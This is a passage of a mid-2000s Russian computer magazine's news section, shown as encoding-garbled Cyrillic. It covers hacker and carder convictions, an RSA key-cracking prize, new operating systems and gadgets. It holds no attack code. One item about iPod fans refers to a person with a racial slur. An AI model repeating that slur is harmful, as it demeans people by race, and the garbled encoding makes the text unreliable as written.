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Çàðåãèñòðèðîâàíî â Ìèíèñòåð-
ñòâå Ðîññèéñêîé Ôåäåðàöèè ïî
äåëàì ïå÷àòè, òåëåðàäèîâåùà-
íèþ è ñðåäñòâàì ìàññîâûõ 
êîììóíèêàöèé ÏÈ ßß  777-111802 
îò 14 ôåâðàëÿ 2002 ã.
Îòïå÷àòàíî â òèïîãðàôèè 
«ScanWeb», Ôèíëÿíäèÿ
Òèðàæ 92 0000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.

Ìíåíèå ðåäàêöèè íå îáÿçàòåëü-
íî ñîâïàäàåò ñ ìíåíèåì àâòîðîâ.
Ðåäàêöèÿ óóâåäîìëÿåò: ââñå ììà-
òåðèàëû ââ ííîìåðå ïïðåäîñòàâ-
ëÿþòñÿ êêàê èèíôîðìàöèÿ 
ê ððàçìûøëåíèþ. 
Ëèöà, èèñïîëüçóþùèå ääàííóþ
èíôîðìàöèþ ââ ïïðîòèâîçàêîí-
íûõ ööåëÿõ, ììîãóò ááûòü ïïðèâ-
ëå÷åíû êê îîòâåòñòâåííîñòè.
Ðåäàêöèÿ ââ ýýòèõ ññëó÷àÿõ îîòâå-
òñòâåííîñòè ííå ííåñåò.

Ðåäàêöèÿ íå íåñåò îòâåòñòâåí-
íîñòè çà ñîäåðæàíèå ðåêëàì-
íûõ îáúÿâëåíèé â íîìåðå. Çà
ïåðåïå÷àòêó íàøèõ ìàòåðèà-
ëîâ áåç ñïðîñà � ïðåñëåäóåì.
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ÏÀÍÀÖÅß ÎÒ ÏÈÐÀÒÎÂ
Åñòü ëè ïàíàöåÿ îò ïè-
ðàòñòâà? Ìíîãèå ñ÷è-
òàþò, ÷òî íåò. Íî êîð-
ïîðàöèÿ Sony äðóãîãî
ìíåíèÿ. Â íà÷àëå íîÿá-
ðÿ IT-ãèãàíò çàïàòåíòî-
âàë íîâóþ òåõíîëîãèþ,
êîòîðàÿ ñïîñîáíà îò-
ïóãíóòü îõîòíèêîâ çà
ëåãêèìè äåíüãàìè. Íî
â òî æå âðåìÿ ñäåëàåò
íåâîçìîæíûì ïðîñòîé
îáìåí äèñêàìè ìåæäó
þçåðàìè. Ñóòü çàùèòû

çàêëþ÷àåòñÿ â ðàçìåùåíèè íà CD ñïåöèàëüíîãî êîäà, êîòîðûé, áóäó÷è
îäíàæäû ñ÷èòàí â ïàìÿòü êîíñîëè, óíè÷òîæàåòñÿ, ïîñëå ÷åãî íà äðóãèõ
ïðîèãðûâàòåëÿõ òàêîé äèñê áîëüøå íå çàïóñòèòñÿ. Sony ïëàíèðóåò
âíåäðèòü ñâîþ íîâóþ òåõíîëîãèþ ñ âûõîäîì ïðèñòàâêè PlayStation 3.
Êîìïàíèþ ìîæíî ïîíÿòü, íî óæå ñåé÷àñ ýòî ðåøåíèå âûçâàëî áóðþ
âîçìóùåíèÿ, â îñíîâíîì ñðåäè ïîêëîííèêîâ PS2. Â ñàìîì äåëå, ïðåäñ-
òàâü ñèòóàöèþ: ïðîñèøü ïðîäàâöà ïðîâåðèòü èãðó, ïðèõîäèøü äîìîé, 
à îíà ó òåáÿ íå èäåò. Èëè ïðèñòàâêà ñãîðåëà. Ïîêóïàåøü íîâóþ, íî ïðî
äèñê ìîæåøü çàáûòü. Ñïåöèàëèñòû ñ÷èòàþò, ÷òî åñëè Sony è äàëüøå
áóäåò èñêàòü ñïîñîáû «óñëîæíèòü æèçíü ãåéìåðàì», òî îíà ïîòåðÿåò
ìíîãèõ èç íèõ. Âîçìîæíî, ýòó çàùèòó òàêæå áóäóò þçàòü â ïðîèçâîä-
ñòâå äèñêîâ ñ ôèëüìàìè â ôîðìàòå Blu-ray.

ÄÀÍß ÏÐÈÇÍÀÍ 
ÂÈÍÎÂÍÛÌ

Íå ïóãàéñÿ, ðå÷ü èäåò
íå î Äàíå Øàïîâàëî-
âå, à î áðèòàíñêîì õà-
êåðå Äýíèýëå Êàòáåð-
ãå, êîòîðûé èçâåñòåí
ñâîèì âçëîìîì ýëåêò-
ðîííîãî ôîíäà ïîìî-
ùè æåðòâàì öóíàìè.
Ïàðåíü ðàáîòàë â IT-
êîìïàíèè Corsaire, ãäå
çàíèìàëñÿ êîìïüþòåð-
íîé áåçîïàñíîñòüþ, è
èìåë äîñòóï ê öåííûì
èíôîðìàöèîííûì ðå-
ñóðñàì. Íåñìîòðÿ íà
àðåñò è îáâèíåíèÿ, ðó-
êîâîäñòâî êîìïàíèè

ñ÷èòàåò, ÷òî õàêåð çàñëóæèâàë äîâåðèÿ, è ýòîò èíöèäåíò � ëèøü íåäîðà-
çóìåíèå. Ñàì Äýíèýëü îáúÿñíèë ñâîé ïîñòóïîê òàê: îí â íà÷àëå ðåøèë
ñàì ïîìî÷ü ôîíäó è ïåðåâåë íà åãî ñ÷åò äåíüãè, íî çàòåì çàïîäîçðèë, ÷òî
ñòàë æåðòâîé ìîøåííèêîâ. Ëó÷øèé ñïîñîá ïðîâåðèòü ïîäëèííîñòü ñàéòà
� ïîðûòüñÿ â êîðíåâîì êàòàëîãå, ÷òî îí, ñîáñòâåííî, è ñäåëàë. Íî àäìè-
íû åãî ïðîñåêëè è ïåðåäàëè âëàñòÿì. Õàêåðà ñóäèëè ïî çàêîíó CMA è
ïðèçíàëè âèíîâíûì. Ïîêà íåèçâåñòíî, êàêîé Äàíÿ ïîëó÷èë ïðèãîâîð, íî,
ó÷èòûâàÿ åãî ïåðâûé àðåñò è õîðîøèå ðåêîìåíäàöèè, ìîæíî ïðåäïîëî-
æèòü, ÷òî îí ïîëó÷èò øòðàô è óñëîâíûé ñðîê. 

ÑÓÄÍÛÉ ÄÅÍÜ 
ÄËß ÒÐÅÕ ÊÀÐÄÅÐÎÂ

Â Ìîñêâå ñîñòîÿëñÿ ñóä íàä òðåìÿ êàðäå-
ðàìè: Ïîçäíååâûì, Ðûæèêîâûì è Äìèò-
ðèåâûì, êîòîðûå ñ ôåâðàëÿ ïî àïðåëü
2005 ãîäà çàòàðèâàëèñü êîìïüþòåðíûì
äîáðîì â å-øîïå Softkey ïî ÷óæèì êðå-
äèòíûì êàðäàì. Íîìåðà êðåäèòîê è èíôó
î âëàäåëüöàõ ïàðíè ñêóïàëè ïî äåøåâêå
ó áîëåå ïðîäâèíóòûõ «êîëëåã», à çàòåì

ïðîñòî èñïîëüçîâàëè äëÿ îïëàòû ïîêóïîê. Âñåãî çà ïàðó ìåñÿöåâ èì
óäàëîñü ïðèîáðåñòè îáîðóäîâàíèÿ íà 80 òûñÿ÷ ðóáëåé. Ê àïðåëþ îòäåë
ìîíèòîðèíãà ïëàòåæíûõ îïåðàöèé âûÿâèë ìîøåííèêîâ è çàÿâèë î íèõ â
ìèëèöèþ. Íåêîòîðîå âðåìÿ îðãàíû ñëåäèëè çà ñîâåðøåíèåì îïåðàöèé,
ïûòàÿñü âûéòè íà ïðîäàâöîâ íîìåðîâ êðåäèòîê, à êîãäà êàðäåðû çàêà-
çàëè íîâóþ ïàðòèþ òîâàðîâ íà 60 òûñÿ÷, âçÿëè èõ «íà ãîðÿ÷åì». Òàê êàê
îíè ñîãëàñèëèñü êîìïåíñèðîâàòü óùåðá, à òàêæå ïîìî÷ü ñëåäñòâèþ, âñå
òðîå ïîëó÷èëè ïî 5 ëåò óñëîâíî.

ÍÀÃÐÀÄÛ 
ÇÀ ÂÇËÎÌ ÊËÞ×ÅÉ
RSA Security � êîìïàíèÿ, êîòîðàÿ íå òîëüêî íå ïðåñëåäóåò õàêåðîâ,
ïûòàþùèõñÿ åå âçëîìàòü, íî äàæå ïëàòèò èì çà âçëîì. Íåêîòîðîå âðå-
ìÿ íàçàä îíà îïóáëèêîâàëà öåïî÷êó êëþ÷åé âîçðàñòàþùåé äëèíû è
ïðåäëîæèëà íàãðàäó òåì, êòî ñìîæåò èõ õàêíóòü. ×åì äàëüøå êëþ÷ â öå-
ïî÷êå, òåì äîðîæå îí ñòîèò. Ïîñëåäíåå ÷èñëî èìååò 2048-áèòíóþ äëèíó
è îöåíåíî â 200 òûñÿ÷ äîëëàðîâ. Ñàìûìè àêòèâíûìè ó÷àñòíèêàìè ýñòà-
ôåòû ñòàëà ãðóïïà êðèïòîàíàëèòèêîâ èç Áîííà, îíè â ìàå ýòîãî ãîäà äå-
êîäèðîâàëè 200-çíà÷íîå ÷èñëî, à â íîÿáðå � 193-çíà÷íîå. Äëÿ ýòîãî áû-
ëè çàäåéñòâîâàíû 80 ïðîöåññîðîâ Optron ïî 2,2 Ãö êàæäûé. Ê ïîáåäàì
êîìïüþòåðùèêîâ èç Áîííà RSA îòíåñëàñü ñî ñêåïñèñîì. Ïàðíÿì ïîòðå-
áîâàëîñü íåñêîëüêî ìåñÿöåâ äëÿ òîãî, ÷òîáû îäîëåòü äàëåêî íå ñàìûå
ñëîæíûå êëþ÷è. Ïðè òàêèõ òåìïàõ äåêîäèðîâàòü ãëàâíûé êëþ÷ çàéìåò
äåñÿòêè ëåò. Âïðî÷åì, êîìïüþòåðíóþ ìîùü, ïðèâëå÷åííóþ ê ðàáîòå,
âðÿä ëè ìîæíî íàçâàòü ãèãàíòñêîé. Èìåþùèåñÿ ñóïåðêîìïüþòåðû íàì-
íîãî áûñòðåå òàêîãî êëàñòåðà, íî ðàáîòàþò îíè íàä äðóãèìè çàäà÷àìè.
Åñëè áû ìîæíî áûëî ïðèâëå÷ü èõ èëè áû çàþçàòü ïðèëè÷íóþ ñåòü ïîëü-
çîâàòåëüñêèõ ìàøèí, òî äåëî áû ïîøëî íàìíîãî áûñòðåå.

HITECHNEWS
Ôåäîð Ãàëêîâ 
(fm@real.xakep.ru)

HARDNEWS
Ñåðãåé Íèêèòèí 

][NEWS
mindw0rk 
(mindw0rk@gameland.ru)

][NEWS 
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Â ÁÅËÀÐÓÑÈ 
ÐÀÇÐÀÁÀÒÛÂÀÞÒ
ÀËÜÒÅÐÍÀÒÈÂÓ 
ÂÈÍÄÛ

Ðåñïóáëèêà Áåëàðóñü áðîñèëà âûçîâ
ìîãóùåñòâåííîé Microsoft. Ïðè÷åì â
òîé îáëàñòè, ãäå ñîôòâàðíûé ìîíñòð
îñîáåííî ñèëåí. Ñåíñàöèîííàÿ íîâîñòü
î òîì, ÷òî áåëîðóññêèå ïðîãðàììåðû
ïðèñòóïèëè ê ðàçðàáîòêå ñîáñòâåííîé
îïåðàöèîííîé ñèñòåìå íà îòêðûòûõ êî-
äàõ, áûëà îáúÿâëåíà ïðåçèäåíòîì ñòðà-
íû Àëåêñàíäðîì Ëóêàøåíêî åùå äâà

ãîäà íàçàä, íà IT-ñàììèòå â Æåíåâå. Íî òîãäà ýòî áûëî áîëüøå ïîõîæå íà
ðàññóæäåíèÿ. Àëåêñàíäð îáúÿñíÿë, ïî÷åìó èõ æèòåëÿì ïðèõîäèòñÿ íàðó-
øàòü èíòåëëåêòóàëüíûå ïðàâà è ïîêóïàòü ïèðàòñêèé ñîôò, íàñêîëüêî èõ
çàðïëàòû íå ñîîòâåòñòâóþò öåíàì íà ñîôò. Ðàçðàáîòêà ñâîèìè ñèëàìè
àëüòåðíàòèâû âèíäû ñòàëà áû ðåøåíèåì ïðîáëåìû. Åâðîïåéñêèé ñîþç
ïîääåðæàë Ëóêàøåíêî, íî òîëüêî òåïåðü ðàçðàáîò÷èêè ïðèñòóïèëè ê àê-
òèâíîé ðàáîòå. Ñåé÷àñ îíè ïîäãîòàâëèâàþò çàÿâêó íà ôèíàíñèðîâàíèå
ïðîåêòà, è ê ìîìåíòó âûõîäà æóðíàëà äåïåøà áóäåò óæå îòïðàâëåíà â Åâ-
ðîñîþç. Îæèäàåòñÿ, ÷òî áåëîðóññêàÿ ñèñòåìà áóäåò ñîâìåñòèìà ñ
Windows-ïðèëîæåíèÿìè è ïîÿâèòñÿ (åñëè ïîÿâèòñÿ) â ïðîäàæå ïî öåíå
$15. Î äîñòîèíñòâàõ åå ïîêà ãîâîðèòü ðàíî, êàê è î âðåìåíè âûõîäà, �
ñèñòåìà íàõîäèòñÿ â ðàííåé ñòàäèè ðàçðàáîòêè. Íî ïîõâàëüíî, ÷òî ëþäè
ñâîèìè ñèëàìè ñòàðàþòñÿ áîðîòüñÿ ñ ìîíîïîëèåé Microsoft. ×òî èç ýòîãî
âûéäåò, ìû óçíàåì ÷åðåç íåñêîëüêî ëåò. Èëè íåñêîëüêî äåñÿòêîâ ëåò.

ÑÅÊÎÍÄ ÕÝÍÄ 
ÎÒ MICROSOFT
Î÷åíü ìíîãèõ óäèâèëî íåäàâíåå ðåøåíèå Microsoft. Áèëëè, êîòîðûé
âñåãäà áûë ñòîðîííèêîì ëèöåíçèé è êà÷åñòâåííîãî òåõñóïïîðòà, áëàãîñ-
ëîâèë áðèòàíñêèõ ðåñåëëåðîâ ïðèòîðãîâûâàòü á/ó'øíûìè êîðîáêàìè ñ
âèíäîé. Ïîñòóïàþò òàêèå ïàðòèè â îñíîâíîì îò îáàíêðîòèâøèõñÿ ôèðì
è ïðîäàþòñÿ ñî ñêèäêîé â 20�50%. Ðàíüøå ýòî ñ÷èòàëîñü íåçàêîííûì
è ïðèðàâíèâàëîñü ê ïèðàòñòâó. Òåïåðü âî âñåõ ëàðüêàõ ñ ñåêîíä õýíäîì
îò Microsoft âèñèò òàáëè÷êà: «îäîáðåíî Ãåéòñîì». Íó èëè ÷òî-òî â ýòîì
ðîäå. Ïîäîáíûé õîä â ñîôòâàðíîé êîìïàíèè, îêàçûâàåòñÿ, ïëàíèðîâàë-
ñÿ åùå ïîëòîðà ãîäà íàçàä. Òåïåðü á/ó ëèöåíçèè ñ÷èòàþòñÿ àêòèâàìè è,
ïî ñëîâàì ïðåäñòàâèòåëÿ Microsoft, ìîãóò èçìåíèòü îòíîøåíèå ê ïîòðå-
ïàííûì êîðîáêàì. Ìåíåäæåð ïî ëèöåíçèðîâàíèþ ÏÎ ôèðìû Basilica
Êðèñ Ëàì ïðîêîììåíòèðîâàë òàêóþ ñèòóàöèþ òàê: «Ýòî îïðåäåëåííî óã-
ðîçà äëÿ íàñ, òàê êàê ìû îðèåíòèðóåìñÿ íà ïðåäîñòàâëåíèå ñâîèì çà-
êàç÷èêàì ïîëíîãî ñïåêòðà óñëóã. ß íå çíàþ, êàêèå öåíû ïðåäëàãàþò ýòè
ïàðíè, íî åñëè ìîæíî áóäåò ïðèîáðåñòè òî÷íî òàêèå æå ëèöåíçèè çà
òðåòü öåíû, òî ïîñëåäñòâèÿ áóäóò êàòàñòðîôè÷åñêèìè».

GOOGLE 
ÂÍÅÄÐßÅÒ ÍÎÂÛÉ
ÕÎÑÒÈÍÃ-ÑÅÐÂÈÑ

15 íîÿáðÿ Google çàïóñòèëà íîâóþ ñëóæáó Google Base.  Ýòî áåñïëàòíûé õîñ-
òèíã ôàéëîâ ñ ïðàêòè÷åñêè íåîãðàíè÷åííûì îáúåìîì è óäîáíûìè èíñòðó-
ìåíòàìè ñîðòèðîâêè è ïîèñêà. Âòîðîé âàðèàíò èñïîëüçîâàíèÿ � õîðîøèé èñ-
òî÷íèê, ÷òîáû ïîäåëèòüñÿ ñâîåé èíôîðìàöèåé è ôàéëàìè ñ äðóãèìè þçåðà-
ìè. Ìîæíî äàæå âåñòè áëîã èëè ðàçìåùàòü ðåêëàìíûå îáúÿâëåíèÿ. Óæå ñåé-
÷àñ ñïåöèàëèñòû ïðåäðåêàþò ñîïåðíè÷åñòâî ñ òàêèìè ïîðòàëàìè, êàê eBay,
êîòîðûå ñïåöèàëèçèðóþòñÿ íà ðàçìåùåíèè êîììåð÷åñêèõ îáúÿâëåíèé. Íî
äèðåêòîð Google, Ìàðê Ëåéáîâèö, çàâåðèë, ÷òî öåëåé êîíêóðèðîâàòü ñ òàêè-
ìè ñàéòàìè ó íèõ íåò, âìåñòî ýòîãî îíè ïðîñòî ïîìîãàþò ëþäÿì äîíåñòè äî
ñâîèõ äðóçåé, çíàêîìûõ èëè ïðîñòî äðóãèõ þçåðîâ îïðåäåëåííóþ èíôîðìà-
öèþ, ÷àùå âñåãî íåêîììåð÷åñêîãî ñîäåðæàíèÿ. Ïîêà Google Base íàõîäèòñÿ
â ñòàäèè Beta-òåñòèðîâàíèÿ, òû èìååøü øàíñ ñòàòü ðàííèì ïîëüçîâàòåëåì
ñëóæáû, çàðåãèñòðèðîâàâøèñü ïî àäðåñó http://base.google.com.

MICROSOFT 
ÐÀÇÐÀÁÀÒÛÂÀÅÒ 
ÍÎÂÓÞ 
ÇÀÙÈÙÅÍÍÓÞ ÎÑ

Êîäîâîå íàçâàíèå ïðîåêòà � Singularity. Íèêàêîãî îòíîøåíèÿ ê âèíäå 
íîâàÿ ñèñòåìà íå èìååò è áóäåò îñíîâàíà íà ñîâåðøåííî íîâûõ òåõíîëî-
ãèÿõ. Ðàçðàáàòûâàåòñÿ îíà îòäåëüíûì øòàòîì èç 35 ïðîãðàììèñòîâ, à îñ-
íîâíûì êðèòåðèåì ÿâëÿåòñÿ íàäåæíîñòü. Ñåé÷àñ ðàçðàáîò÷èêè äîðàáàòû-
âàþò ÿäðî ñèñòåìû, ñîñòîÿùåå èç 300 òûñÿ÷ ñòðîê êîäà íà ÿçûêå C#, 
à òàêæå øëèôóþò íîâóþ òåõíîëîãèþ  Software Isolated Processes (SIP), ïðè
êîòîðîé ïðîöåññû âûïîëíÿþòñÿ â èçîëèðîâàííûõ «êîíòåéíåðàõ». 
Òàêîé ïîäõîä ïîçâîëÿåò ëó÷øå è áûñòðåå ïðîâåðÿòü ðàáîòó âñåõ êîìïîíåí-
òîâ � äîñòàòî÷íî îáðàòèòüñÿ ê SIP, íà êîòîðîì îí çàïóùåí. Ïîêà íåèçâåñò-
íî, êàê áóäåò ïîçèöèîíèðîâàòüñÿ íîâàÿ ÎÑ Microsoft. Ñêîðåå âñåãî, Singularity
ñòàíåò àëüòåðíàòèâíûì ðåøåíèåì äëÿ ñåðüåçíûõ ôèðì, êîòîðûå çàáîòÿòñÿ î
ñâîåé áåçîïàñíîñòè, è áóäåò ïðèìåíÿòüñÿ â ôèíàíñîâûõ ñôåðàõ èëè òàì, ãäå
íàõîäèòñÿ èíôîðìàöèÿ èç ðàçðÿäà «ñîâåðøåííî ñåêðåòíî».
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Êàê âñåì èçâåñòíî, ÷åì áîëüøå äèàãîíàëü ó ìîíèòîðà, òåì áîëüøå ïîëåç-
íîé èíôîðìàöèè íà íåì ïîìåùàåòñÿ. Íî ÷åëîâåêó âñåãäà ìàëî. Ñíà÷àëà
åãî óñòðàèâàëè 14 è 15-äþéìîâûå ýêðàíû, ïîòîì ïðåäåëîì ìå÷òàíèé ñòàëè
«ñåìíàøêè», à òåïåðü è ðàçìåð â 19 äþéìîâ ìíîãèõ íå îñîáî óñòðàèâàåò.
Ñïåöèàëüíî äëÿ íèõ êîìïàíèÿ Samsung ïðåäñòàâëÿåò 20,1-äþéìîâûé ìî-
íèòîð SyncMaster 204Ts ñ ôèðìåííîé PVA-ìàòðèöåé. Îí èìååò ðàçðåøå-
íèå 1600õ1200 òî÷åê, øèðîêèå óãëû îáçîðà (170 ãðàäóñîâ ïî âåðòèêàëè è
ãîðèçîíòàëè), ÿðêîñòü 250 êä/ì2 è êîíòðàñòíîñòü 700:1 ïðè âðåìåíè îòêëè-
êà 16 ìñ. Èìåþòñÿ ïðåäíàñòðîåííûå ðåæèìû, êîòîðûå, êàê è âñå ïðî÷èå ïà-
ðàìåòðû, ìîæíî èçìåíÿòü áåç ïîìîùè êíîïîê ìîíèòîðà � ñ ïîìîùüþ óòè-
ëèòû MagicTune. Íî ìàãèÿ íà ýòîì íå çàêàí÷èâàåòñÿ, åñòü åùå ôóíêöèÿ
MagicRotation, êîòîðàÿ àâòîìàòè÷åñêè ïîäñòðîèò èçîáðàæåíèå ïðè ïåðåâî-
äå ìîíèòîðà â ïîðòðåòíûé ðåæèì. Ê ýòîé ïàíåëè ìîæíî íàïðÿìóþ ïîäêëþ-
÷àòü ðàçëè÷íûå óñòðîéñòâà âðîäå DVD-ïëååðà. Ïðè ýòîì ïîääåðæèâàþòñÿ
òàêèå ðåæèìû, êàê PIP (Picture In Picture) è PBP (Picture By Picture), ÷òî ïîç-
âîëÿåò îäíîâðåìåííî âèäåòü íà ýêðàíå êàðòèíêè èç ðàçëè÷íûõ èñòî÷íèêîâ.

Ñ-200 
ÝÒÎ ÍÅ ÒÎËÜÊÎ ÇÐÊ
Òû íàâåðíÿêà ñëûøàë â âûïóñêàõ òåëåíîâîñòåé òàêèå íàçâàíèÿ, êàê Ñ-200,
Ñ-300 è Ñ-400. Äà, ïðàâèëüíî, ýòî îòå÷åñòâåííûå çåíèòíî-ðàêåòíûå êîìï-
ëåêñû, ñàìûå ëó÷øèå â ìèðå. Íî ñåé÷àñ ìèðíîå âðåìÿ, ïîýòîìó òàêèìè
íàçâàíèÿìè îáëàäàþò íå òîëüêî âîåííûå ìàøèíû, íî è êîìïëåêòû àêóñòè-
÷åñêèõ ñèñòåì äëÿ äîìàøíèõ êèíîòåàòðîâ. Çíàêîìüñÿ � Ñ 200 îò êîìïà-
íèè AVE. Ýòî øåñòèêàíàëüíûå ñèñòåìû, îòëè÷àþùèåñÿ ñòèëüíûì äèçàé-
íîì, ìåòðîâûìè ôðîíòàëüíûìè êîëîíêàìè, ñèñòåìîé îáúåìíîãî çâó÷àíèÿ
è ïîëíîöåííîé äâóõïîëîñíîé êîíñòðóêöèåé èçëó÷àòåëåé. Êîìïàêòíûé
ñàôâóôåð ñîäåðæèò áëîê öèôðîâîé ðåãóëèðîâêè âûñîêèõ, íèçêèõ ÷àñòîò è
áàëàíñà, ìíîãîêàíàëüíûé óñèëèòåëü äëÿ ãðîìêîãîâîðèòåëåé îñíîâíûõ êà-
íàëîâ (30 Âò x5) è, ðàçóìååòñÿ, ñàìîãî ñàáâóôåðà, íîìèíàëüíàÿ âûõîäíàÿ
ìîùíîñòü êîòîðîãî ñîñòàâëÿåò 80 Âò. Ó ñèñòåìû èìååòñÿ ïóëüò äèñòàíöè-
îííîãî óïðàâëåíèÿ è øèðîêèå êîììóíèêàöèîííûå âîçìîæíîñòè � àíàëî-
ãîâûå ïîðòû è äâà ìèêðîôîííûõ âõîäà äëÿ êàðàîêå. Ïðåäëàãàåòñÿ äâà âû-
áîðà ðàñöâåòêè � ñåðåáðèñòàÿ è òåìíîå äåðåâî.

ÃÎÐÄÎÅ ÑËÎÂÎ ÌÎÄÅÌ

Ëîêàëüíûå ñåòè è ïðî÷èå êîììóíèêàöèîííûå íîâøåñòâà � ýòî, êîíå÷íî,
î÷åíü õîðîøî, íî íå ñòîèò äåëàòü ïðåçðèòåëüíóþ ìèíó è ïðè ñëîâå «ìî-
äåì». Îñîáåííî åñëè ýòî íå ïðîñòîé, à ADSL-ìîäåì îò êîìïàíèè Acorp.
Ñåãîäíÿ îíà ïðåäñòàâëÿåò íàì äâå ñâîèõ íîâèíêè: ìîäåìû Sprinter@ADSL
LAN120 è Sprinter@ADSL LAN420 âòîðîãî ïîêîëåíèÿ. Ïðèïèñî÷êà ïðî ïî-
êîëåíèå îçíà÷àåò î÷åíü ïðèÿòíóþ âåùü: ýòè ìîäåìû ïîääåðæèâàþò
ñâÿçü ïî òåõíîëîãèÿì ADSL2 è ADSL2+, íà êîòîðûå óæå äàâíî íà÷èíàþò
ïåðåõîäèòü ñîîòâåòñòâóþùèå ïðîâàéäåðû. Ýòî îçíà÷àåò, ÷òî îíè ìîãóò
ïðèíèìàòü äàííûå ñî ñêîðîñòüþ äî 24 Ìáèò/ñ. Ìîäåëü Sprinter@ADSL
LAN120 ïðåäíàçíà÷åíà äëÿ èñïîëüçîâàíèÿ íà äîìó èëè â íåáîëüøîì
îôèñå. Áëàãîäàðÿ íàëè÷èþ èíòåðôåéñó Fast Ethernet è ôóíêöèÿì ìàðø-
ðóòèçàòîðà åãî ìîæíî ïîäêëþ÷èòü ê ëîêàëüíîé ñåòè è îáåñïå÷èòü èñ-
ïîëüçîâàíèå êàíàëà ADSL íåñêîëüêèì ïîëüçîâàòåëÿì îäíîâðåìåííî.
Ìîäåì Sprinter@ADSL LAN420 èìååò ÷åòûðåõïîðòîâûé êîììóòàòîð Fast
Ethernet è ôóíêöèè ìàðøðóòèçàòîðà, ÷òî èçáàâëÿåò ïîëüçîâàòåëÿ îò íå-
îáõîäèìîñòè ïðèîáðåòåíèÿ îòäåëüíîãî êîììóòàòîðà Ethernet.

ÍÅ ÂÑÒÀÅÌ
Ñ ÄÈÂÀÍÀ
Íàâåðíîå, âñå â äåòñòâå ñëûøàëè î âîë-
øåáíîé ïàëî÷êå, êîòîðàÿ äàåò ñâîåìó îá-
ëàäàòåëþ î÷åíü ìíîãî ïëþñîâ. À ïîòîì
ìû âûðàñòàëè è ïîíèìàëè, ÷òî íèêàêîé
òàêîé ïàëî÷êè âîâñå íåò. Ðàçî÷àðîâàíèå
áûëî æóòêèì. Êîìïàíèÿ Logitech çàõîòåëà
ïîäñëàñòèòü ïèëþëþ, âûïóñòèâ ïóëüò
Harmony Advanced Universal Remote
Control. Òåïåðü ìîæíî çàáûòü êó÷ó óñò-
ðîéñòâ ÄÓ, êàæäîå èç êîòîðûõ ìîæåò óï-
ðàâëÿòü òîëüêî îäíèì áûòîâûì ïðèáîðîì.
Ýòî Ïóëüò îò Logitech ÿâëÿåòñÿ óíèâåð-
ñàëüíûì � ñ åãî ïîìîùüþ ìîæíî óïðàâ-
ëÿòü ïðàêòè÷åñêè ëþáûì äîìàøíèì
ýëåêòðîííûì óñòðîéñòâîì: êîìïüþòåðîì,
òåëåâèçîðîì, äîìàøíèì êèíîòåàòðîì,
ïðèñòàâêîé X-Box... Ïðè÷åì íå ïîî÷åðåä-
íî, à îäíîâðåìåííî, òàê êàê íà íåáîëü-
øîì ÆÊ-ýêðàíå ïðîèñõîäèò âûáîð íåîá-
õîäèìîãî ïðèáîðà. Îíëàéíîâàÿ áàçà êîì-
ïàíèè ñîäåðæèò â ñåáå èíôîðìàöèþ îá
îãðîìíîì êîëè÷åñòâå óñòðîéñòâ è íàñò-
ðîéêå äëÿ óïðàâëåíèÿ èìè. Ñêà÷èâàåì èõ,
÷åðåç ðàçúåì USB ïåðåäàåì â ïóëüò � 
è âóàëÿ! Òàê êàê òåëåâèçîðîì ìîæåò óï-
ðàâëÿòü ëþáîé ÷åëîâåê, à êîìïüþòåðîì
� íåò, òî êîìïàíèÿ Logitech ïðåäóñìîòðå-
ëà óäîáñòâî è ëåãêîñòü ðàáîòû ñ ïóëüòîì
� ñïåöèàëüíûé ìàñòåð ïîìîæåò âî âñåì
ðàçîáðàòüñÿ äàæå íåîïûòíîìó ïîëüçîâà-
òåëþ.
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Åñëè åñòü òàêèå íåíàâèñòíèêè, òî,

âèäèìî, åñòü è ôàíàòû. Â Àìåðèêå

÷ðåçâû÷àéíî ìíîãî øèçàíóòûõ ôà-

íàòîâ áåëîãî äèçàéíà. Íàø äîáðûé

íà÷àëüíèê ýêñ-ãëàâðåä æóðíàëà Õà-

êåð, òîâàðèù SINtez, ñðàâíèòåëüíî

íåäàâíî áûë ó çàïàäíûõ áðàòüåâ â

ãîñòÿõ. Ñèäÿ â êàôå, îí óâèäåë, êàê

îäèí íåãð íåðâíî êîâûðÿåòñÿ ñâîè-

ìè ðóêàìè â êóðòêå. Îêàçàëîñü, ÷òî

ýòîò íåãð íåçàìåòíî äîñòàë ñòàðûé

êàññåòíûé ïëååð, ïîìåíÿë ñòîðîíó

êàññåòû è âêëþ÷èë ìóçûêó îáðàòíî.

Ïðè÷åì òåìíîêîæèé òîâàðèù áûë ñ

íàóøíèêàìè îò iPod. Â îáùåì, íåãð

áàíàëüíî áîÿëñÿ çàïàëèòüñÿ ñî ñâî-

èì äðåâíèì ïëååðîì. 

Îäíèì ñëîâîì, óðîâåíü ôàíàòèçìà

â Àìåðèêå ê ïðîäóêöèè Apple äîñòèã

êðèòè÷åñêîé òî÷êè. Íà òåáÿ áóäóò

êîñî ñìîòðåòü, åñëè òû áóäåøü èäòè

ñ ïëååðîì îò äðóãîãî áðåíäà èëè,

íàîáîðîò, óëûáíóòñÿ, åñëè óâèäÿò â

ðóêå áåëûé iPod. Ó íàñ â Ðîññèè òà-

êîãî áåøåííîãî ôàíàòèçìà íåò, íî

íåêîòîðûå óæå íà÷àëè ñõîäèòü ñ

óìà. Íàïðèìåð, íàø ãîðÿ÷î ëþáè-

ìûé symbiosis óæå êóïèë ñåáå ïîñ-

ëåäíèé iPod è íîóòáóê PowerBook

G4. Åñòåñòâåííî, ó íåãî óñòàíîâëåí

iTunes ïîñëåäíåé âåðñèè.

iPod
GOODBuy!

Ó ëþáîé ïîïóëÿðíîé âåùè, ïîìèìî

ìèëëèîíîâ ôàíàòîâ, îáÿçàòåëüíî

íàõîäÿòñÿ è ÿðûå ïðîòèâíèêè. Ïðè-

÷åì êîëè÷åñòâî íåäîáðîæåëàòåëåé

è ýêñöåíòðè÷íîñòü èõ âûõîäîê ïðÿ-

ìî ïðîïîðöèîíàëüíû ðàñïðîñòðà-

íåííîñòè óñòðîéñòâà. Íåíàâèñòíèêè

ïëååðà iPod íåäàâíî ñîçäàëè ñàéò

smashmyipod.com, öåëüþ êîòîðîãî

áûëî ñîáðàòü $400 íà ïðèîáðåòåíèå

íîâîãî iPod, ïîñëå ÷åãî îòïðàâèòüñÿ

â ôèðìåííûé ìàãàçèí Apple è, íå

îòõîäÿ îò êàññû, âäðåáåçãè ðàçáèòü

ïîêóïêó ïðÿìî íà ãëàçàõ ó óäèâëåí-

íûõ ïðîäàâöîâ è ïîêóïàòåëåé. Ñðà-

çó ïîñëå çàïóñêà ñàéòà â àäðåñ àâ-

òîðîâ ïîñûïàëèñü òûñÿ÷è ãíåâíûõ

